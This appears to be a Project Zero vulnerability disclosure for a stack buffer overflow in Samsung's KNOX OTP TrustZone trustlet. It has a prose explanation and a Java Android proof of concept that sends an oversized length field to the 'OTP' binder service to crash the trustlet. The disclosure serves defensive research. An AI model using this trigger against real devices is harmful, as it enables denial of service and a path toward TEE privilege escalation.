Samsung Devices KNOX Extensions – OTP TrustZone Trustlet Stack Buffer Overflow
/** Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=938 As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens. The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server". Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly. Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all. This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets. On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE. I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet. */ package com.example.laginimaineb.otp; import android.os.IBinder; import android.os.Parcel; import android.os.RemoteException; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; public class OneWhoKNOX extends AppCompatActivity { /** * The logtag used. */ private static final String LOGTAG = "OTP_TEST"; /** * The name of the OTP binder service. */ private static final String INTERFACE_DESCRIPTOR = "OTP"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); try { //Getting the binder Class smClass = Class.forName("android.os.ServiceManager"); IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR); //Writing a command with a large length field Parcel parcel = Parcel.obtain(); Parcel reply = Parcel.obtain(); parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR); byte[] command = new byte[0xDA7]; //Setting the command to OTP_GENERATE_OTP command[0] = 0x02; command[1] = 0x00; command[2] = 0x00; command[3] = 0x00; //Setting the length field to something insane command[0x41C] = (byte)0xFF; command[0x41C + 1] = (byte)0xFF; command[0x41C + 2] = (byte)0x00; command[0x41C + 3] = (byte)0x00; //Sending the command (should crash the trustlet) parcel.writeByteArray(command); binder.transact(2, parcel, reply, 0); Log.e(LOGTAG, "res=" + reply.readInt()); reply.recycle(); parcel.recycle(); } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException | InvocationTargetException ex) { Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex); } } catch (RemoteException ex) { Log.e(LOGTAG, "Failed to communicate with remote binder", ex); } } } |